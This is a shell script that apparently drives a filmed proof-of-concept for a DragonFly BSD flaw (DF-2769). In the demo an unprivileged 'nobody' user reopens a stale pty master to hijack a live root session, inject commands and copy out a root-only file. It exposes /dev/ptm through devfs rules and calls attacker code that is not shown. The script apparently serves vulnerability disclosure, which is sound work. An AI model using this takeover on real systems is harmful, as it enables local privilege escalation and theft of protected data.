DF-2769 / film_run.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 | #!/bin/sh # DF-2769 โ FILM TAKE (one continuous session, untrimmed) # # Two actors on one DragonFly console: # VICTIM = root admin session on a pty whose terminal dies (film_victim) # ATTACKER = 'nobody' discovering + taking over the stale master (film_attack) # This driver is the NARRATOR only. Everything is teed into # /root/film/run_film.log AND /dev/console (serial capture), live. # # Beat sheet (mirrors FILM_SCRIPT.md): # 0 SETUP 1 VICTIM-LIVE 2 TERMINAL-CRASH # 3 ATTACK-PROBE (default devfs: fenced) # 4 DEVFS-CONFIG (admin show-rules, jail/expose-/dev style) # 5-7 ATTACK: takeover -> inject+capture -> live control # 8 PROOF 9 CLEANUP FD=/tmp/film LOG=$FD/run_film.log rm -f $LOG $FD/film.pipe $FD/victim.info mkfifo $FD/film.pipe # tee started BEFORE the redirect: its own stdout stays = this ssh session, # so the film streams live to the operator as well as to log + serial console. tee -a $LOG /dev/console < $FD/film.pipe & TE=$! exec > $FD/film.pipe 2>&1 ts() { date '+%H:%M:%S'; } beat() { printf '\n\n========== [%s] BEAT %s โ %s ==========\n' "$(ts)" "$1" "$2"; } beat 0 "SETUP: the stage" printf 'DF-2769 โ stale unix98 pty master re-open = takeover of a live ROOT session\n' printf 'kernel: '; uname -a printf 'date: '; date printf 'narrator (this console) runs as: '; id printf 'attacker will be: '; su -m nobody -c id printf 'pre-state of proof files (must not exist):\n' ls -l /tmp/df2769_pwned /tmp/df2769_secret /tmp/df2769_marker 2>&1 | sed 's/^/ /' printf 'building the two actors:\n' cc -O2 -Wall -o $FD/film_victim $FD/film_victim.c 2>&1 | sed 's/^/ cc: /' cc -O2 -Wall -o $FD/film_attack $FD/film_attack.c 2>&1 | sed 's/^/ cc: /' cc -O2 -o $FD/film_churn $FD/film_churn.c 2>&1 | sed 's/^/ cc: /' ls -l $FD/film_victim $FD/film_attack $FD/film_churn | sed 's/^/ built: /' beat 1 "VICTIM (root): admin opens a root shell inside a terminal" $FD/film_victim & VPA=$! i=0 while [ ! -f $FD/victim.info ] && [ $i -lt 10 ]; do sleep 1; i=$((i+1)); done UNIT=$(sed -n 's/^UNIT=//p' $FD/victim.info) VPID=$(sed -n 's/^PID=//p' $FD/victim.info) printf '[narrator] victim session: %s (pid %s) โ watch the screen above: it is ALIVE and INTERACTIVE\n' "$UNIT" "$VPID" wait $VPA printf '[narrator] the terminal has exited. the session has NOT.\n' beat 2 "TERMINAL CRASH: root session survives on a dead (ZOMBIE) tty" printf 'the session leader, after its terminal died:\n' ps -o pid,ppid,uid,stat,command -p $VPID | sed 's/^/ /' printf 'its terminal (slave device) still exists: ' ls -l $UNIT printf '[narrator] SIGHUP was ignored (nohup-style leader): a root shell now sits\n' printf '[narrator] silently on a ZOMBIE pty whose master seat is EMPTY.\n' beat 3 "ATTACKER (nobody): first probe โ DEFAULT devfs" printf 'attacker runs the exact same unprivileged command it will always run:\n' printf ' $ su -m nobody -c "%s/film_attack %s"\n' "$FD" "$UNIT" su -m nobody -c "$FD/film_attack $UNIT" printf '[narrator] fenced: /dev/ptm is DEVFS_HIDDEN on the default ruleset (ENOENT).\n' printf '[narrator] note: no /dev/ptm appears in /dev at all right now โ only ptmx:\n' ls -l /dev/ptm* 2>&1 | sed 's/^/ /' beat 4 "CONFIG: this host applies devfs SHOW rules (jail /dev trees do exactly this)" printf '[narrator] the system churns on (logins, cron, any pty allocation):\n' sleep 2 $FD/film_churn printf 'admin rule file (%s/rules):\n' "$FD" sed 's/\t/ \[TAB\] /g' $FD/rules | sed 's/^/ /' devfsctl -a -m /dev -f $FD/rules && printf '[narrator] RULES_APPLIED (same class as jail devfs rulesets / devfs.conf show recipes)\n' printf 'attacker view now:\n' ls -l /dev/ptm* 2>&1 | sed 's/^/ /' printf '[narrator] note the stale master: 0666 root:root, world-openable.\n' beat 5 "ATTACKER (nobody): full takeover โ stale master, ZOMBIE clear, injection, live control" su -m nobody -c "$FD/film_attack $UNIT" beat 8 "PROOF: what just happened" printf 'attacker identity never changed: '; su -m nobody -c id printf 'files created BY THE ROOT SESSION for the attacker:\n' ls -l /tmp/df2769_pwned /tmp/df2769_secret /tmp/df2769_marker 2>&1 | sed 's/^/ /' printf -- '--- /tmp/df2769_pwned (owner: root; content written by the hijacked session) ---\n' sed 's/^/ /' /tmp/df2769_pwned printf -- '--- /tmp/df2769_secret (root-only file exfiltrated through the session; first 3 lines, truncated) ---\n' head -3 /tmp/df2769_secret | cut -c1-72 | sed 's/^/ /' printf -- '--- marker ownership ---\n' stat -f ' owner=%Su:%Sg mode=%Sp file=%N' /tmp/df2769_marker /tmp/df2769_pwned /tmp/df2769_secret beat 9 "CLEANUP: demo hygiene" kill $VPID 2>/dev/null && printf '[narrator] victim session (%s) terminated\n' "$VPID" rm -f /tmp/df2769_pwned /tmp/df2769_secret /tmp/df2769_marker devfsctl -c -m /dev && printf '[narrator] devfs rules cleared (nodes re-hide at next boot; -r node-reset deliberately not used)\n' ls -l /dev/ptm* 2>&1 | sed 's/^/ /' printf '\n========== [%s] FILM END โ nobody -> live root session takeover ==========\n' "$(ts)" exec >&- 2>&- wait $TE rm -f $FD/film.pipe exit 0 |